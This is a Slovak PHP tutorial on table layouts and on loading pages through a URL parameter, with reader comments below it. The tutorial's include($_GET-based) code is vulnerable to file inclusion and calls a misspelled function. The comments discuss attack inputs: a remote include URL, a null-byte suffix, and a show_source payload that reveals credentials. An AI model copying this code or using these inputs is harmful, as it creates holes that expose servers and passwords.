Tento článok Vám ukáže, ako jednoducho vytvoriť peknú stránku bez použitia framov, a tiež zapojíme PHP.
Vo všeobecnosti existujú 3 druhy layoutov. Layout je vlastne rozloženie stránky. Framy(rámce), Tabuľky, CSS. Keďže ste pravdepodobne luzer, stránky robíte cez framy. No hlavné nevýhody framov sú jasné: astaralé, nepatria k štandardom. Preto je načase zvážiť či nechcete vyskúšať niečo nové.
Tak najskôr si vyskúšame layout pomocou tabuliek. Je to pre Vás rozhodne jednoduchšie, je to aj dosť používané, ale nedá sa povedať, že by sa to považovalo za profesionálne. Ja napríklad robím layouty stále iba cez CSS. Ale pre Vás je to celkom vhodne. Neskôr sa možno naučíte aj niečo o CSS, ale na začiatok vyskúšame tabuľky..
Takže ak sa chcete do toho pustiť, dobré by bolo poznať html, pretože kódy tu písať nebudem, budem písať iba čo treba urobiť.
Poznámka: tabuľka bude mať širku 760 px, aby vyzerala dobre aj na menšom, aj na väčšom rozlíšení. Na záver si ju ešte vycentrujeme do stredu pomocou CSS.
Ako bude vyzerať Váš layout: hlavička, potom 2 stĺpce, jeden menu, druhý hlavná stránka a pätička. Takže si vytvoríme novú tabuľku o šírke 760 px, a výške 100%. Vložíme riadok(tr) a doňho bunku(td). K bunke pridajte parameter COLSPAN=2. Prečo? Lebo chceme aby táto jedna bunka v tomto riadku nahradila 2 bunky. Vysvetlím Vám to bližšie. Normálne by v každom riadku mali byť 2 bunky, ale my to tak chceme iba v strednom riadku, preto tu pridáme parameter COLSPAN, ktorý hovorí, že táto jedna bunka sa ma tváriť ako viac spojených buniek. Ak poznáte excel, aj tam je funkcia zlúčiť bunky. Táto horná bunka bude mať šírku 760 (px - ale to tam nepíšte).
Teraz ďalej: v druhom riadku vytvoríme 2 bunky, tá ktorá je menu dostane pevnú veľkosť, tá ostatná bude zvyšok, čiže *.
Posledný riadok bude mať šírku 760, a výšku akú chcete, napríklad 50.
Tým pádom je layout hotový, a ideme na PHP:
Do bunky, kde je obsah, vložíme značky : <? ?> - do nich budeme písať PHP kód.
Prvé čo od nášho PHPčka chceme aby prečítal údaj z url adresy.. Ten údaj vyzerá asi takto: .../index.php?load=about
load je názov premennej a about je obsah. Takýmto spôsobom budeme aj tvoriť odkazy. Teraz však späť k PHPčku.
<?php
$stranka=$_GET["load"];
?><?php
if ($stranka=="") $stranka="home";
?><?php
$stranka="./".$stranka.".php";
?><?php
if(!fileexists($stranka)) $stranka="404.php";
?><?php
include($stranka);
?>Takže to je zatiaľ všetko, prajem veľa riadkov kódu!
pozn. redakcie: komentare v priklade boli vynate z kodu, lebo rozbijali template stranky.
Komentáre
velmi, velmi pekny clanok,
velmi, velmi pekny clanok, avsak po precitani mi presli zimomiravky po chrbte.. nie som si uplne isty [bol by som rad, keby mi autor na moje dohady odpovedal]. Pred istym casom som sa dost vyrazne zaoberal vecami okolo XSS (cross site scripting), PHP script injection, SQL injection, atd atd.. Teraz co ma napadlo je.. predsa len, neda sa v clanku pouzity system naburat? Tak ako prve. Predstavme si, ze zadam do load nieco ako http://moja.stranka.sk/script . Dalej sa mi prida k tomuto .php teda to bude vyzerat ako http://moja.stranka.sk/script.php. Predpokladam vsak, ze funkcia fileexists vrati false takze o nic nejde. (moment.. naozaj vrati false? totiz ak by vratila true, sme v peknej kasi) dalej, argument pridania na koniec url ".php" nehra rolu (tiez si v tomto nie som 100% isty). Lebo mozem dat do load nieco ako napriklad toto: readme.txt%00 je to nullovy meta znak viac na googli. Ja aby som sa vsetkemu tomuto vyhol idem na istotu, takze ziadne take, ze by som daval relativne
<?phpinclude($stranka);
?>
<?phpif($stranka="omne.php"){include("omne.php")};
?>
---
Kubuntu user
tento detail som si este
tento detail som si este nevismol.. naozaj by sa dalo urobit toto:
?id=http://mysite.com/hack.txt?
a vtom pripade by sa mi includeol subor hack.txt?.php co by asi nebolo velmi dobre. kazdopadne mam este jeden system, ktory mozno tiez niekedy popisem, a to ze stranky su ulozene v databaze a includuje sa napriklad ?id=34 potom sa vytiahne z db prisluchajuca stranka a jeto. problem je v tom ze vzdy ked sa vytvori nieco nove treba to supnut do db..
ale ak by niekto chcel includnut iba ako ?id=http://mysite.com/hack a spoliehat sa na to ze sa tam prida pripona .php tak to by neslo, lebo apache z jeho servera nepusti zdrojovy kod..
mimochodom tak jednoducho sa daju ziskat napriklad hesla do databaze, staci ak hack.txt obsahuje
<?phpshow_source("index.php");
?>
no a prave ma napadlo ako sa tohoto problemu zbavit, jednoducho k include pridat ./ idem editovat clanok
:)))jj show_source poznam..
:)))
jj show_source poznam.. ale tak.. naozaj a by som mohol pokojne spavat.. lebo nikdy nevies co ti kto vymysli, s tvojimi scriptami (totiz akonahle si tam bude moct dat svoj kod tak vyhral..) tak pouzivam to co som napisal minule, ze absolutne includujem dokumenty..
a este jednu vec by som rad doplnil. Ked uz sa teraz rozhodnete includovat documenty relativne, tak dalsia vec, na ktorej si dajte zalezat je, aby vase scripty boli v .php suboroch. ano z nie to ssmiesne, ale stretol som sa s tym, ze clovek takto includoval .htm documenty, v ktorych sa po includovani php kod samozrejme spracoval, ale ked som si ten dokument otvoril sam tak bola fakt prca:P takze na to tiez pozor..
---
Kubuntu user
LOOOL ourclass.wz.cz
LOOOL ourclass.wz.cz